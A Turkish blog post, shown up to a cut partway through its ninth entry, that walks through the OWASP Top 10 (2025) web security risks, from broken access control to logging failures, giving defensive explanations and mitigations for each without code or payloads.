            <dc:creator><![CDATA[Emineero]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 06:41:29 GMT</pubDate>
            <atom:updated>2026-06-30T06:41:29.456Z</atom:updated>
            <content:encoded><![CDATA[<p>Dijitalleşen dünyada bir web uygulaması geliştirmek artık sadece kod yazmaktan ibaret değil. İnşa ettiğimiz kalenin surlarını da sağlamlaştırmak zorundayız. Günümüzde siber saldırılar, karmaşık kod bloklarından ziyade en basit “konfigürasyon” veya “tasarım” hatalarından sızıyor. Peki bir yazılımcı veya güvenlik meraklısı olarak en çok nerede ne darbe alıyoruz? Bu yazıda, siber güvenlik dünyasının altın standardı olan OWASP Top 10 listesini, teknik terimlerin arkasına saklanmadan gerçek hayat senaryoları ve somut çözüm önerileriyle ele alıyoruz. İster bir geliştirici olsun ister güvenlik analisti, bu 10 temel zafiyeti anlamak güvenli bir dijital gelecek inşa etmenin ilk adımıdır. Gelin sistemdeki arka kapıları birlikte kapatalım. Web tabanlı sistemlerdeki güvenlik açıkları; kullanıcı girişlerinin yetkisiz kişilerce istismar edilmesine ve sistemin veri sızıntısı, hizmet kesintisi gibi ciddi risklerle karşılaşmasına yol açan zayıflıklardır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*IFOMBpHPz-NAMvMZkqOFYw.png" /><figcaption><a href="https://owasp.org/Top10/2025/">OWASP TOP 10</a></figcaption></figure><p>Şimdi bunları açıklayalım:</p><h4><strong>A01:2025 — Broken Access Control (Bozuk Erişim Kontrolü):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*f95UoJh3DEcH0PjWF_C_3w.png" /><figcaption>-</figcaption></figure><p>Web uygulamalarında en yaygın ve genellikle en ciddi soruna yol açan güvenlik açığıdır. Kısaca bir kullanıcının yapmaması gereken bir şeyi yapabilmesi veya görmemesi gereken bir veriye erişebilmesidir. Bu zafiyet, web uygulamasının kullanıcıların yetkilerini doğru bir şekilde kısıtlayamamasından veya kontrol edememesinden dolayı ortaya çıkar.</p><p><strong>Nasıl Ortaya Çıkar? </strong>Erişim kontrolü mekanizmasının bozuk olduğu durumlarda, bir kullanıcı veya saldırgan uygulamanın arka planındaki mantığı aşabilir. Yaygın senaryolar şu şekildedir:</p><p>· <strong>Yetkisiz Erişim (IDOR — Insecure Direct Object Reference):</strong> Kullanıcının, URL üzerindeki bir parametreyi değiştirerek başka bir kullanıcıya ait veriye erişebilmesidir.</p><p>· <strong>Yetki Yükseltme:</strong> Standart bir kullanıcının, sadece yöneticilerin(admin) erişebileceği sayfaları doğrudan URL’yi yazarak görüntüleyebilmesi.</p><p>· <strong>İşlem Kısıtlarını Aşma:</strong> Sadece onaylanmış kullanıcıların yapabileceği işlemleri, API üzerinden yetkisiz bir şekilde tetiklemek.</p><p>· <strong>Salt Okunur Kısıtlamasını Aşma:</strong> Sadece görüntüleme yetkisi olan bir kullanıcının, HTTP metodlarını değiştirerek veriyi değiştirebilmesi.</p><p><strong>Neden Bu Kadar Tehlikeli?</strong></p><p>·<strong>Veri İhlali:</strong> Müşteri bilgileri, özel yazışmalar veya finansal veriler başkaları tarafından ele geçirilebilir.</p><p>·<strong>Sistem Kontrolü:</strong> Eğer bir “admin” paneline veya yetkili bir fonksiyona erişilirse, tüm sistemin kontrolü kaybedilebilir.</p><p>·<strong>Tespit Edilmesi Zordur:</strong> Bu tür saldırılar genellikle hata vermez, sistem normal çalışıyormuş gibi görünür; bu yüzden log kayıtları incelenmediği sürece saldırı fark edilemeyebilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p>· <strong>Sunucu Taraflı Kontrol:</strong> Erişim kontrollerini asla istemci(tarayıcı) tarafına bırakılmamalıdır. Her isteği, sunucuda kullanıcının yetkisi olup olmadığını kontrol ederek işlemeliyiz.</p><p>· <strong>Varsayılan Olarak Reddet (Deny by Default): </strong>Sistemimize erişimi “herkese açık” değil, “sadece belirli rollere açık” olarak ayarlamalıyız. Bir sayfaya veya fonksiyona erişim izni tanımlanmamışsa, sistem otomatik olarak “Reddet” demelidir.</p><p>· <strong>IDOR’a Karşı Önlem: </strong>Veritabanı kayıtlarına erişirken ardışık numaralar yerine tahmin edilemez, rastgele değerler (UUID veya GUID) kullanmalıyız.</p><p>· <strong>Merkezi Kontrol Mekanizması:</strong> Uygulamanın her yerinde farklı kontrol kodları yazmak yerine, tüm yetkilendirme işlemleri tek bir merkezi model üzerinden yönetmeliyiz.</p><p>· <strong>Günlükleme (Logging):</strong> Erişim kontrolü başarısızlıklarını mutlaka loglanmalı ve şüpheli durumlarda yöneticiler uyarılmalıyız.</p><p><strong>Özetle:</strong> Bir kapının kilidinin olması yetmez; o kilidin sadece doğru anahtarla açıldığından emin olunmalı. Web uygulamalarında bu anahtar adminin yetkilendirme mekanizmasıdır.</p><h4><strong>A02:2025 — Security Misconfiguration (Güvenlik Yapılandırma Hatası):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*mg_Gzfpw0pnNRs-tVmB0kw.png" /></figure><p>Web uygulamalarının, sunucuların, veritabanlarının veya bulut platformlarının “yanlış ayarlanması” sonucunda ortaya çıkan bir güvenlik açığıdır. Bu açık yazılımın kendisinden ziyade, yazılımın üzerinde çalıştığı veya bağlandığı ortamın zayıf kurulmuş olmasından kaynaklanır. Bu risk “varsayılan ayarların değiştirilmemesi” veya “fazla ayrıntılı hata mesajlarının gösterilmesi” gibi basit gözüken hatalardan beslenir.</p><p><strong>En Yaygın Güvenlik Yapılandırma Hataları</strong></p><p>· <strong>Varsayılan Kullanıcı Adı ve Parolalar: </strong>Bir cihazı veya yazılımı kurduktan sonra admin/admin, root/pasword gibi varsayılan giriş bilgilerini değiştirmemek. Saldırganlar bu listeleri ezbere bilir.</p><p>· <strong>Gereksiz Özelliklerin Açık Kalması: </strong>Uygulamada kullanılmayan servislerin, portların, örnek sayfaların veya hata ayıklama(debug) modlarının canlı sistemde açık bırakılması.</p><p>· <strong>Hata Mesajlarının Fazla Bilgi Vermesi:</strong> Sistemin çöktüğünde veya hata verdiğinde ekrana veritabanı yapısını, sunucu sürümünü veya kaynak kod satırlarını döken hata mesajları çıkarması (Stack trace).</p><p>· <strong>Güvenlik Başlıklarının Eksikliği: </strong>Tarayıcı tarafından güvenliği artıran HTTP Security Headers (CSP, HSTS) gibi yapılandırmaların eksik veya yanlış tanımlanması.</p><p>· <strong>Dizin Listeleme (Directory Listing):</strong> Sunucu üzerinde bir klasöre erişildiğinde, o klasördeki tüm dosyaların bir liste halinde görüntülenmesine izin verilmesi.</p><p><strong>Neden Bu Kadar Tehlikeli?</strong></p><p>· <strong>Kapıyı Açık Bırakmak: </strong>Kodu çok güvenli olsa bile, sunucunun “arka kapısı” açıksa, saldırganlar kodu hiç bypass etmeden sisteme sızabilir.</p><p>· <strong>Kolay Keşif:</strong> Saldırganlar otomatik tarama araçlarıyla(scanner) sistemde standart veya eksik yapılandırılmış servisleri dakikalar içinde bulabilirler.</p><p>· <strong>Sistem Bilgi Sızıntısı:</strong> Hata mesajları, bir saldırgana sistemin zayıf noktalarını altın tepside sunar.</p><p><strong>Nasıl Korunuruz?</strong></p><p>· <strong>Güvenlik Serleştirme (Hardening): </strong>Sistemi kurar kurmaz tüm varsayılan ayarların değiştirip gereksiz servisleri, portları ve sayfaları silmemiz veya kapatmamız gerekir.</p><p>· <strong>Otomatize Etmek: </strong>Sunucu veya uygulama yapılandırılmalarını elle yapmak yerine, “Infrastructure as Code” (Kod olarak altyapı) araçları kullanmalıyız. Bu insani hataları en aza indirir.</p><p>· <strong>Hata Yönetimi:</strong> Canlı sistemlerde hata ayıklama(debug) modları mutlaka kapalı olmalı. Kullanıcıya teknik detay içermeyen, genel ve güvenli hata mesajları gösterilmeli.</p><p>· <strong>Düzenli Denetim:</strong> Yapılandırmaları periyodik olarak tekrar etmemiz gerekir. Otomatik güvenlik tarama araçları, açık kalan portları veya yanlış ayarları raporlayabilir.</p><p>· <strong>Bulut Güvenliği:</strong> AWS, Azure veya Google Cloud gibi platformlar kullandığımızda, S3 bucket gibi depolama alanlarının “herkese açık” olmadığından emin olmalıyız.</p><p><strong>Özetle:</strong> Bir binanın kilitlerini değiştirmeyi unutmak veya pencereyi açık bırakmak gibidir. Yazılımınız ne kadar sağlam olursa olsun, çevresi doğru yapılandırılmamışsa risk altındadır.</p><h4><strong>A03:2025 — Software Supply Chain Failures (Yazılım Tedarik Zinciri Arızaları):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*8-4YTqmOif-BhNOhBiQNjw.png" /></figure><p>Modern yazılım geliştirmenin “dışarıya bağımlılık” yapısından kaynaklanan ciddi bir güvenlik riskidir. Günümüzde çoğu uygulama geliştiriciler tarafından sıfırdan yazılmak yerine; binlerce açık kaynaklı kütüphane, paket ve üçüncü taraf bileşenler kullanılarak inşa edilir. Eğer bu dış bileşenlerden biri saldırıya uğrarsa veya içinde gizli bir açık barındırıyorsa, kullanıldığı uygulamalar da otomatik olarak savunmasız hale gelir.</p><p><strong>Bu Risk Nasıl Ortaya Çıkar?</strong></p><p>Saldırganlar, uygulamalara doğrudan saldırmak yerine uygulamanın güvendiği bir tedarikçi zincirine sızmayı tercih ederler.</p><p>· <strong>Zararlı Paket Enjeksiyonu: </strong>NPM(Node.js), PyPI(Python) veya Maven(Java) gibi paket depolarına, popüler kütüphanelerin isimlerine çok benzeyen(typosquatting) kötü niyetli kütüphaneler yüklemek.</p><p>· <strong>Saldırıya Uğramış Kütüphaneler: </strong>Çok kullanılan bir kütüphanenin geliştiricisinin hesabının çalınması ve kütüphanenin yeni güncellenmiş sürümüne zararlı kod(backdoor) eklenmesi.</p><p>· <strong>Güvenli Olmayan CI/CD Süreçleri: </strong>Uygulamayı yayına alan(deploy) otomasyon sistemlerinin veya kodun saklandığı depoların (GitHub/GitLab) ele geçirilmesi sonucu, kodunuzun içine siz fark etmeden zararlı bileşenlerin enjekte edilmesi.</p><p><strong>Neden Bu Kadar Tehlikeli?</strong></p><p>· <strong>Güvenin Kötüye Kullanılması: </strong>Uygulamanın güvendiği bir<strong> </strong>kütüphane kullanıldığında<strong> </strong>sistem o kütüphaneye tüm izinleri verir. Bu bir “Truva Atı” vakasıdır.</p><p>· <strong>Geniş Etki Alanı:</strong> Tek bir popüler kütüphaneye yapılan saldırı, o kütüphaneyi kullanan milyonlarca uygulamayı aynı anda etkileyebilir.</p><p>· <strong>Görünmezlik:</strong> Yazılımcılar genellikle kendi yazdıkları kodun güvenliğine odaklanır; ancak kullandıkları yüzlerce kütüphanenin “içinde neler olup bittiğini” takip etmek oldukça zordur.</p><p><strong>Nasıl Korunuruz?</strong></p><p>· <strong>Bağımlılık Analizi (SCA): </strong>Projede kullanılan tüm kütüphaneleri tarayan, bilinen güvenlik açıkları içeren eski sürümleri belirleyen Software Composition Analysis (SCA) araçlarını kullanmalıyız.</p><p>· <strong>Kilitleme (Locking): </strong>Kütüphanelerin belirli sürümlerini kullanmalıyız. Otomatik güncellemelerin, test edilmeden doğrudan ana sisteme geçmesine izin vermemeliyiz.</p><p>· <strong>Kaynak Doğrulama:</strong> Sadece güvenilir ve resmi depolardan paket çekmeliyiz. Çok az indirilmiş veya yeni oluşturulmuş şüpheli paketler kullanmamalıyız.</p><p>· <strong>CI/CD Güvenliği:</strong> Yazılımı derleme ve yayına alma (build/deploy) süreçlerini izole etmeliyiz. Kodun içine gizli anahtarlar (API key, şifre) koymamalıyız; bunları güvenli ortam değişkenlerinde tutmalıyız.</p><p>· <strong>SBOM (Software Bill of Materials):</strong> Yazılımın içerdiği tüm bileşenlerin bir listesi (envanteri) tutulmalı. Herhangi bir bileşende açık çıktığında hızlıca müdahale edilebilmesi için bu liste hayati önem taşır.</p><p><strong>Özetle:</strong> Yazılım tedarik zinciri güvenliği, yediğiniz yemeğin içindeki malzemelerin nereden geldiğini bilmek gibidir. Güvenilir olmayan kaynaktan gelen tek bir bileşen, tüm sistemi riske atabilir.</p><h4><strong>A04:2025 — Cryptographic Failures (Kriptografik Hatalar):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*rWI-zyr6ZwBCmQ-JzeGllQ.png" /></figure><p>Daha önce “Veri İhlali” olarak bilinen riskin güncellenmiş halidir. Bu hata sistemin verilerini korumak için kullandığı şifreleme mekanizmalarının yanlış yapılandırılması, zayıf olması veya tamamen eksik olması durumunda ortaya çıkar. Kriptografi, verinin “okunamaz” ve “değiştirilemez” kalmasını sağlamak için kullanılan temel savunma hattıdır. Eğer bu hat çökerse, veriler saldırganlar tarafından çalınabilir veya değiştirilebilir.</p><p><strong>Hataların Temel Kaynakları</strong></p><p>· <strong>Verinin Açık (Plaintext) Gönderilmesi: </strong>Verilerin HTTP, FTP veya SMTP gibi şifrelenmemiş kanallar üzerinden gönderilmesi. Günümüzde her veri trafiği mutlaka HTTPS(TLS) üzerinden geçmelidir.</p><p>· <strong>Zayıf Algoritmalar Kullanmak:</strong> Artık kırılması çok kolay olan eski şifreleme yöntemlerinin kullanılması. Modern standartlardan olan TLS 1.3 veya AES-256 gibi yöntemleri gerektirir.</p><p>· <strong>Hardcoded (Sabit) Anahtarlar:</strong> Şifreleme anahtarlarının kaynak kod içerisine gömülmesi. Saldırgan kodu ele geçirdiğinde tüm şifreli verileri de kolayca çözebilir.</p><p>· <strong>Yanlış Hashing Uygulaması:</strong> Parolaları saklarken salt(tuzlama) kullanmamak. Eğer sadece basit bir hash kullanılırsa, saldırgan “rainbow table” (önceden hesaplanmış hash listeleri) kullanarak parolaları saniyeler içinde çözebilir.</p><p>· <strong>Güvenli Olmayan Anahtar Yöntemi:</strong> Şifreleme anahtarlarının yeterince korunmaması, yedeklenmemesi veya düzenli olarak değiştirilmemesi.</p><p><strong>Neden Bu Kadar Tehlikeli?</strong></p><p>· <strong>Verinin Değeri: </strong>Eğer saldırgan<strong> </strong>şifrelenmemiş veriye ulaşırsa, bu veriyi çalabilir, satabilir veya fidye yazılımı(ransomware) için kullanabilir.</p><p>· <strong>Gizlilik İhlali:</strong> Kriptografik hatalar, GDPR veya KVKK gibi yasal düzenlemelere göre “kişisel verilerin korunması” ilkesinin doğrudan ihlalidir ve ağır hukuki yaptırımları vardır.</p><p><strong>Nasıl Korunuruz?</strong></p><p>· <strong>Her Şeyi Şifreleyin: </strong>Veriyi sadece “in-transit” (taşınırken) değil “at-rest” (disk üzerinde depolanırken, veritabanında) halinde de şifrelemeliyiz.</p><p>· <strong>Modern Standartlar Kullanılmalı: </strong>Asla kendi şifreleme algoritmamızı oluşturmaya çalışmamalıyız. Sektör standartı olan kanıtlanmış kütüphaneler ve güncel algoritmalar tercih etmeliyiz.</p><p>· <strong>Anahtar Yönetimi (Key Management): </strong>Şifreleme anahtarlarını koddan ayırmalıyız. Bunun için Azure Key Vault, AWS KMS veya HashiCorp Vault gibi güvenli anahtar yönetim servisleri kullanmalıyız.</p><p>· <strong>Salt ve Pepper Kullanımı: </strong>Parolaları veritabanında saklarken her parola için benzersiz bir salt eklemeliyiz. Bu aynı parolaya sahip kullanıcıların hash değerlerinin bile farklı olmasını sağlar.</p><p>· <strong>Devre dışı Bırakın:</strong> Önbelleğe alma(caching) gibi işlemlerde, hassas verilerin geçici dosyalarda veya günlüklerde(log) düz metin olarak kalmadığından emin olmalıyız.</p><p><strong>Özetle:</strong> Kriptografik hatalar, kasanızın şifresini “1234” yapmak veya kasanın anahtarını kapının üzerinde bırakmak gibidir. Yazılım ne kadar gelişmiş olursa olsun, veri şifreleme katmanınız zayıfsa verileriniz güvende değildir.</p><h4><strong>A05:2025 — Injection (Enjeksiyon):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*4RV0pG10bWSqmjbk8nbaSA.png" /></figure><p>Bir web uygulamasının kullanıcıdan gelen verileri güvenli olmayan bir şekilde işlemesi sonucu, saldırganın sisteme kendi komutlarını “enjekte etmesine” olanak tanıyan kritik bir güvenlik açığıdır. En basit tabiriyle; uygulama “veri” ile “komut” arasındaki farkı ayırt edemediğinde bu açık oluşur. Saldırgan veri girilmesi gereken bir alana özel karakterler ve komutlar girerek uygulamanın arka planındaki veritabanını, işletim sistemini veya tarayıcıyı manipüle eder.</p><p><strong>En Yaygın Enjeksiyon Türleri</strong></p><p>· <strong>SQL Injection (SQLi): </strong>En bilinenidir. Saldırgan, veritabanı sorgularını manipüle ederek verileri çalabilir, silebilir ve yönetici girişini bypass edebilir.</p><p>· <strong>Cross-Site Scripting (XSS): </strong>Saldırganın diğer kullanıcıların tarayıcılarında kötü niyetli JavaScript kodları çalıştırmasıdır. Bu sayede kullanıcı oturumlarını (cookies) çalabilir.</p><p>· <strong>Command Injection: </strong>Uygulamanın sunucu üzerindeki işletim sistemi komutlarını çalıştırmasına izin vermesidir. Saldırgan sunucuya tam erişim sağlayabilir.</p><p>· <strong>NoSQL Injection: </strong>SQL dışındaki (MongoDB gibi) veritabanlarında benzer mantıkla sorguların manipüle edilmesidir.</p><p><strong>Neden Bu Kadar Tehlikeli?</strong></p><p>· <strong>Veri sızıntısı: </strong>Tüm veritabanı saldırganın eline geçebilir.</p><p>· <strong>Tam Kontrol:</strong> İşletim sistemi seviyesindeki enjeksiyonlar, sunucunun tamamen ele geçirilmesine yol açar.</p><p>· <strong>Kimlik Hırsızlığı:</strong> XSS üzerinden kullanıcıların oturum bilgileri çalınarak, onlar adına işlemler yapılabilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p>· <strong>Girdi Doğrulama (Input Validation): </strong>Kullanıcıdan gelen hiçbir veriye güvenmemeliyiz. Beklenen veri formatının katı kurallarla denetlenmesi gerekir.</p><p>· <strong>Parametreli Sorgular (Prepared Statements):</strong> Bu SQL Injection’a karşı en güçlü savunmadır. Veritabanı sorgularında veriyi doğrudan birleştirmek yerine parameterized queries veya ORM (Object-Relational Mapping) araçlarını kullanarak verinin komut olarak yorumlanmasını engellemeliyiz.</p><p>· <strong>Çıktı Kodlama (Output Encoding):</strong> Özellikle XSS’e karşı, tarayıcıya gönderilecek veriyi özel karakterleri temizleyerek göndermeliyiz. Böylece tarayıcı bunu kod değil düz bir metin olarak algılar.</p><p>· <strong>En Az Ayrıcalık (Least Privilege):</strong> Veritabanı bağlantılarını sağlayan kullanıcıya sadece ihtiyacı olan kadar yetki vermeliyiz.</p><p><strong>Özetle:</strong> Enjeksiyon, birine bir not kâğıdı verip bunu oku dediğimizde, o kâğıtta şimdi tüm kapıları aç yazması ve kişinin gerçekten bütün kapıları açması gibidir. Veriyi her zaman sadece veri olarak işaretlememeli ve hiçbir zaman çalıştırılabilir kod muamelesi yapmamalıyız.</p><h4><strong>A06:2025 — Insecure Design (Güvenli Olmayan Tasarım):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*b6yNqpYhidWHQsdZgauLTw.png" /></figure><p>Web güvenliği dünyasındaki en stratejik risklerden biridir. Diğer maddelerin çoğu uygulama aşamasında hataları ele alırken, “Güvenli Olmayan Tasarım” doğrudan projenin mimari aşamasındaki zafiyetlere odaklanır. Bu risk, yazılımın kodunun “bug’suz” (hatasız) olması durumunda bile eğer mimari kurgu baştan güvenliği gözetmiyorsa sistemin saldırıya açık kalacağı gerçeğini vurgular.</p><p><strong>Güvenli Olmayan Tasarım Nedir?</strong></p><p>Bir binayı inşa ederken kapı ve pencereleri unutursak, en kaliteli kilitleri taksak bile bina güvende olmaz. İşte yazılım dünyasında da:</p><p>· <strong>Güvenlikten Sonra Bahsetmek: </strong>Güvenliğin, yazılım bittikten sonra “bir yama gibi” üzerine eklenmeye çalışılması.</p><p>· <strong>Tehdit Modellemesi Yapmamak:</strong> Sistemin neresinden saldırılabileceğinin proje tasarlanırken analiz edilmemesi.</p><p>· <strong>Mantıksal Hatalar:</strong> Uygulama akışının iş mantığında güvenlik açıklarına yer vermesi.</p><p><strong>Örnek Senaryolar</strong></p><p><strong>1.</strong> <strong>Parola Sıfırlama Akışı:</strong> Tasarım aşamasında şifre sıfırlama mekanizması sadece e-posta adresine güveniyorsa ve başka bir doğrulama içermiyorsa, bu “güvenli olmayan tasarımdır”. Kod mükemmel çalışsa bile mantık hatalıdır.</p><p><strong>2.</strong> <strong>Ödeme Sistemi:</strong> Bir alışveriş sitesinde, fiyat bilgisinin kullanıcı tarayıcısından sunucuya gönderildiği bir sistem düşünün. Kullanıcı fiyatı değiştirir ve sunucu bunu kontrol etmeden kabul ederse, bu bir tasarım hatasıdır.</p><p><strong>3.</strong> <strong>Çok Adımlı İşlemler:</strong> Bir işlemin 3 adımda gerçekleşmesi gerekirken saldırganın 2. adımı atlayıp doğrudan 3. adımı gerçekleştirebildiği bir süreç tasarımı.</p><p><strong>Neden Çok Kritik?</strong></p><p><strong>·</strong> <strong>Kodla Düzeltilemez: </strong>Eğer temel terminal hatalıysa güvenlik duvarları (WAF) veya antivirüsler sizi tam koruyamaz. Tasarımın baştan değiştirilmesi gerekir, bu da çok maliyetlidir.</p><p><strong>·</strong> <strong>Sistemik Saldırılar:</strong> Saldırganlar yazılımdaki küçük bir hatayı değil, sistemin işleyiş mantığındaki bir boşluğu bulup tüm sistemi suistimal ederler.</p><p><strong>Nasıl Korunursunuz?</strong></p><p><strong>·</strong> <strong>Tehdit Modellemesi (Threat Modeling): </strong>Yazılımı kodlamaya başlamadan önce kâğıt üzerinde “saldırgan olsam burada nasıl giderdim?” sorusuna cevap arayarak senaryoları çizmeliyiz.</p><p><strong>·</strong> <strong>Secure SDLC:</strong> Güvenliği yazılım geliştirme sürecinin her adımına entegre etmeliyiz.</p><p><strong>·</strong> <strong>Güvenli Tasarım Desenleri:</strong> Sektörde kabul görmüş güvenlik prensiplerini tasarım aşamasında uygulamalıyız.</p><p><strong>·</strong> <strong>İş mantığı Testleri:</strong> Otomatik tarama araçları sadece teknik açıkları bulur, ancak “iş mantığı hatalarını” bulamaz. Bu yüzden, gerçek bir insanın iş akışını adım adım manuel test etmesi şarttır.</p><p><strong>Özetle:</strong> Güvenli olmayan tasarım, bir kalenin kapısının çok sağlam olması ama duvarlarının kâğıttan yapılması gibidir. En iyi yazılımcılar bile, güvenli bir mimari temel olmadan sistemi koruyamazlar.</p><h4><strong>A07:2025 — Authentication Failures (Kimlik Doğrulama Hataları):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*HQkLw_run85DBH1WXzayzg.png" /></figure><p>Bir kullanıcının kim olduğunu kanıtlaması sürecindeki zayıflıklardır. Eğer bu süreçte bir hata varsa, saldırganlar gerçek kullanıcıların hesaplarını ele geçirebilir, başkalarının kimliğine bürünebilir veya sistemin yönetim panellerine sızabilir. Eski adı “Broken Authentication” olan bu madde, bir web uygulamasının “kimi içeri aldığını denetleyememesiyle ilgilidir.</p><p><strong>Bu Hatalar Nasıl Ortaya Çıkar?</strong></p><p><strong>1.</strong> <strong>Kaba Kuvvet (Brute Force) Saldırıları: </strong>Kullanıcının parolasını tahmin etmek için binlerce farklı kombinasyonun otomatik olarak denenmesidir. Eğer sistem üst üste hatalı denemeleri engellemiyorsa, bu bir kimlik doğrulama hatasıdır.</p><p><strong>2.</strong> <strong>Zayıf Parola Politikaları:</strong> Kullanıcıların kolay tahmin edilebilir parolalar belirleyebilmesine izin verilmesidir.</p><p><strong>3.</strong> <strong>Oturum Yönetimi Zafiyetleri: </strong>Kullanıcı giriş yaptıktan sonra verilen “Session ID” (Oturum Kimliği) değerinin tahmin edilebilir olması veya URL içerisinde açıkça gösterilmesi.</p><p><strong>4.</strong> <strong>Credential Stuffing:</strong> Bir platformda sızdırılan kullanıcı adı / parola listelerinin, başka platformlarda çalışıp çalışmadığını denemek için kullanılması.</p><p><strong>5.</strong> <strong>Güvenli Olmayan “Parolamı Unuttum” Süreci:</strong> Şifre sıfırlama aşamasında soruların çok kolay olması veya sıfırlama linklerinin ömrünün çok uzun olması.</p><p><strong>Neden Çok Tehlikeli?</strong></p><p>· <strong>Tam Erişim: </strong>Kimlik doğrulama, uygulamanın “giriş kapısıdır”. Bu kapı kırıldığında saldırgan artık dışarıdan değil, sistemin içinde onaylı bir kullanıcı gibi davranır.</p><p>· <strong>İz Sürme Zorluğu:</strong> Saldırgan ele geçirdiği gerçek bir kullanıcı hesabı üzerinden işlem yaptığı için, kötü niyetli hareketleri gerçek kullanıcının eylemlerinden ayırt etmek zordur.</p><p><strong>Nasıl Korunuruz?</strong></p><p><strong>· Çok Faktörlü Kimlik Doğrulama (MFA/2FA): </strong>Sadece parola değil; telefona gelen kod, bir authenticator uygulaması veya biyometrik veri gibi ikinci bir doğrulama katmanı eklenmeli. Bu çalınan parolaları işlevsiz kılar.</p><p><strong>·</strong> <strong>Hız Sınırlaması (Rate Limiting):</strong> Giriş denemelerini sınırlandırılması gerekir. Örneğin 5 kez yanlış girdiğinde o IP adresinin veya kullanıcının belirli bir süre dondurulması gerekir.</p><p><strong>·</strong> <strong>Güçlü Parola Standartları: </strong>Parola uzunluğunu ve karmaşıklığını zorunlu tutmalıyız; ancak bunu yaparken kullanıcı deneyimini göz ardı etmemeliyiz.</p><p><strong>·</strong> <strong>Güvenli Oturum (Session) Yönetimi:</strong> Oturum kimliklerini rastgele, uzun ve tahmin edilemez şekilde oluşturmalıyız. HttpOnly ve Secure flag özelliklerini kullanarak oturum çerezlerinden korunmalıyız.</p><p><strong>·</strong> <strong>Sızdırılmış Parola Kontrolü:</strong> Uygulamalarda, yaygın olarak sızdırılmış (Have I Been Pwned gibi veritabanlarında bulunan) parolaların kullanımına izin verilmemelidir.</p><p><strong>Önemli Not:</strong> Kimlik doğrulama süreci, uygulamaların en görünür ve en çok saldırılan noktasıdır. Parola saklama teknikleri ne kadar güçlü olursa olsun, giriş kapısındaki bu mantıksal hatalar kapıyı ardına kadar açabilir.</p><h4><strong>A08:2025 — Software or Data Integrity Failures (Yazılım veya Veri Bütünlüğü Arızaları):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*kVRUi7QHpDevdKpIB6TCtA.png" /></figure><p>Uygulamanın verisinin veya kodunun yönetici onayı dışında değiştirilme riskidir. Bu risk “güvenilir olduğuna emin olduğumuz bir kaynağın aslında güvenilir olmaması” durumuyla ilgilidir. Sisteme gelen verilerin veya yüklenen dosyaların orijinalliğinden emin değilsek saldırganlar sistemi ele geçirebilir.</p><p><strong>Bütünlük Neden Bozulur?</strong></p><p><strong>1.</strong> <strong>Güvensiz Güncelleme Mekanizmaları: </strong>Yazılımın kendi kendini güncelleme özelliği varsa ve bu güncellemeler dijital imza ile doğrulanmıyorsa, saldırgan sahte bir güncelleme paketi göndererek sunucuda kendi kodunu çalıştırabilir.</p><p><strong>2.</strong> <strong>Dosya Yükleme (File Upload) Zafiyetleri:</strong> Kullanıcılara profil fotoğrafı veya belge yükletirken, dosya türünün kontrol edilmemesi. Saldırgan sisteminize zararlı bir dosya yükleyip onu çalıştırabilir.</p><p><strong>3.</strong> <strong>Güvensiz Veri İletimi:</strong> Veritabanına veya bir dosyaya yazılan bilgilerin, başka bir sistem veya kullanıcı tarafından yolda değiştirilmesi.</p><p><strong>4.</strong> <strong>Güvenilmeyen CDNs ve Kütüphaneler:</strong> Web sayfasının çalıştığı JavaScript kütüphaneleri dışarıdan (CDN) yükleniyorsa ve bu kaynak saldırıya uğramışsa, bu siteyi ziyaret eden herkesin tarayıcısına zararlı kod bulaşır.</p><p>Neden Çok Tehlikeli?</p><p>· <strong>Güvenin İstismarı: </strong>Sistem kendi içinde güvenilir olarak işaretlediği bir kaynaktan gelen veriyi sorgusuz kabul eder.</p><p>· <strong>Arka Kapı:</strong> Bütünlüğü bozulmuş bir sistem, arka planda saldırganın istediği her şeyi yapabilir ve bunu tespit etmek son derece zordur. Çünkü sistem kendi kendine çalışıyormuş gibi görünür.</p><p><strong>Nasıl Korunuruz?</strong></p><p><strong>· Dijital İmza (Digital Signatures):</strong> Sisteme yüklenen tüm yazılımların, güncellemelerin veya kritik dosyaların güvenilir bir kaynak tarafından dijital olarak imzalandığından ve bu imzanın doğruluğundan emin olmalıyız.</p><p><strong>· Hash Kontrolü:</strong> İndirilen veya sisteme alınan dosyaların checksum(SHA-256 gibi) değerleri hesaplamalı ve orijinaliyle karşılaştırılmalı. Dosyada tek bir bit bile değişse, hash değeri tamamen farklı çıkar.</p><p><strong>· Dosya Yükleme Kısıtlamaları: </strong>Kullanıcılardan dosya kabul ederken, sadece izin verilen dosya uzantılarına izin vermeliyiz. Dosyaları doğrudan sunucunun çalıştırılabilir dizinlerine değil, izole edilmiş güvenli alanlara kaydetmeliyiz.</p><p><strong>· İçerik Güven Politikası (CSP):</strong> Web sitesinde yüklenen tüm kaynakları kısıtlamalıyız. Tarayıcının sadece adminin onayladığı alanlardan(domain) gelen kodları çalıştırması sağlamalıyız.</p><p><strong>·</strong> <strong>Güvenli İletişim:</strong> Verinin doğruluğunu korumak için veri transferlerinde HTTPS ve uygun şifreleme algoritmaları mutlaka kullanmalıyız.</p><p><strong>Önemli Not:</strong> “Bütünlük” (Integrity) kavramı, bilginin veya yazılımın değiştirilmediğinden emin olmaktır. Yazılımın doğru olduğuna emin olmak siber güvenlikte “sıfır güven” (Zero Trust) modelinin temel taşıdır.</p><h4><strong>A09:2025 — Security Logging and Alerting Failures (Güvenlik Günlüğü ve Uyarı Hataları):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*8LmESMQ8w4JNliPR4GuwNg.png" /></figure><p>Bir sistemin “gözlerinin kör olması” durumudur. Saldırıya uğradığımızda veya sisteme birinin sızmaya çalıştığını bilmek en az o saldırı kadar büyük risktir. Bu madde, bir saldırı gerçekleştiğinde sistemin bunu kaydetmemesi (loglamaması) veya uyarı vermemesi 